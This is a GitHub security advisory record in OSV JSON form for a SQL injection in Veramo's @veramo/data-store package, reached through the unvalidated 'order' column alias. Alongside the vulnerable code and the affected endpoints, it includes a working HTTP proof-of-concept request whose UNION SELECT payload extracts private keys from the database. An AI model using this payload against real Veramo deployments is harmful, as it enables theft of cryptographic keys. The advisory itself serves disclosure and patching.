{"id":"GHSA-38cw-85xc-xr9x","summary":"Veramo is Vulnerable to SQL Injection in Veramo Data Store ORM","details":"## Summary\n\nAn SQL injection vulnerability exists in the `@veramo/data-store` package that allows any authenticated user to execute arbitrary SQL queries against the database. The vulnerability is caused by insufficient validation of the `column` parameter in the `order` array of query requests.\n\n## Details\n\n`packages/data-store/src/data-store-orm.ts` (lines 416-434)\n\nThe vulnerability exists in the `decorateQB()` function which processes query ordering parameters:\n\n```typescript\nfunction decorateQB(\n  qb: SelectQueryBuilder\u003cany\u003e,\n  tableName: string,\n  input: FindArgs\u003cany\u003e,\n): SelectQueryBuilder\u003cany\u003e {\n  if (input?.skip) qb = qb.offset(input.skip)\n  if (input?.take) qb = qb.limit(input.take)\n\n  if (input?.order) {\n    for (const item of input.order) {\n      qb = qb.addSelect(\n        qb.connection.driver.escape(tableName) + '.' + qb.connection.driver.escape(item.column),\n        item.column,\n      )\n      qb = qb.orderBy(qb.connection.driver.escape(item.column), item.direction)\n    }\n  }\n  return qb\n}\n```\n\n**Root Cause:**\n\n1. The `item.column` value from user input is passed directly as the **alias** parameter to `addSelect()` without any sanitization or validation\n2. While TypeScript defines allowed column types (e.g., `TCredentialColumns = 'context' | 'type' | ...`), this is only compile-time checking\n3. At runtime, the function accepts `FindArgs\u003cany\u003e`, allowing arbitrary strings to bypass type restrictions\n4. TypeORM inserts the alias directly into the SQL query, enabling SQL injection\n\n**Affected Endpoints:**\n\nAll endpoints are located in `packages/data-store/src/data-store-orm.ts`:\n\n| Endpoint | Method | Line |\n|----------|--------|------|\n| `dataStoreORMGetIdentifiers` | identifiersQuery() | 85-98 |\n| `dataStoreORMGetMessages` | messagesQuery() | 129-153 |\n| `dataStoreORMGetVerifiableCredentialsByClaims` | claimsQuery() | 168-198 |\n| `dataStoreORMGetVerifiableCredentials` | credentialsQuery() | 227-252 |\n| `dataStoreORMGetVerifiablePresentations` | presentationsQuery() | 275-297 |\n\nAll these methods call `decorateQB()` which processes the vulnerable `order` parameter.\n\n## PoC\n\n**Prerequisites:**\n\n- A running Veramo agent with the REST API exposed (e.g., via `@veramo/remote-server`)\n- Valid authentication credentials (Bearer token)\n- The agent uses `@veramo/data-store` with a SQLite or compatible database\n\n**Example Exploit to Extract Private Keys From DB:**\n\n```http\nPOST /agent/dataStoreORMGetVerifiableCredentialsByClaims HTTP/1.1\nHost: localhost:3332\nContent-Length: 811\nAuthorization: Bearer test123\nContent-Type: application/json\n\n{ \"where\":[\n    {\n      \"value\": [\n        \"string\"\n      ],\n      \"not\": true,\n      \"op\": \"foo\",\n\"column\":\"bar\"\n    }\n  ],\n \n  \"skip\": 0,\n  \"take\": 11111232323230,\n\"order\": [\n    {\n      \"direction\": \"ASC\",\"column\":\"issuanceDate\\\" AS \\\"issuanceDate\\\" FROM \\\"claim\\\" \\\"claim\\\" LEFT JOIN \\\"identifier\\\" \\\"issuer\\\" ON \\\"issuer\\\".\\\"did\\\"=\\\"claim\\\".\\\"issuerDid\\\"  LEFT JOIN \\\"identifier\\\" \\\"subject\\\" ON \\\"subject\\\".\\\"did\\\"=\\\"claim\\\".\\\"subjectDid\\\"  LEFT JOIN \\\"credential\\\" \\\"credential\\\" ON \\\"credential\\\".\\\"hash\\\"=\\\"claim\\\".\\\"credentialHash\\\" where not(claim.isObj in (?)) and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,(SELECT json_object('alias', alias, 'type', type, 'privateKeyHex', privateKeyHex) ),22,23,24,25,26,27,28,29 from `private-key`-- -\"\n    }\n  ]\n}\n```\n\nsimilar exploit could be used against the other affected endpoints\n\n## Impact\n\n**Attack capabilities:**\n\n- Complete database read access\n- Reading or write files into fs depending on dbms used\n- Database-specific escalation paths\n- Dos through timebased or multiple long running queries","modified":"2026-02-03T03:17:09.234448Z","published":"2026-01-16T21:04:12Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-01-16T21:04:12Z","nvd_published_at":null,"cwe_ids":["CWE-89"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/decentralized-identity/veramo/security/advisories/GHSA-38cw-85xc-xr9x"},{"type":"WEB","url":"https://github.com/decentralized-identity/veramo/pull/1482"},{"type":"WEB","url":"https://github.com/decentralized-identity/veramo/commit/067e39dd76f11ee2d25b99c8361d4f02a4223e3b"},{"type":"PACKAGE","url":"https://github.com/decentralized-identity/veramo"},{"type":"WEB","url":"https://github.com/decentralized-identity/veramo/releases/tag/v6.0.2"}],"affected":[{"package":{"name":"@veramo/data-store","ecosystem":"npm","purl":"pkg:npm/%40veramo/data-store"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.0.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-38cw-85xc-xr9x/GHSA-38cw-85xc-xr9x.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"}]}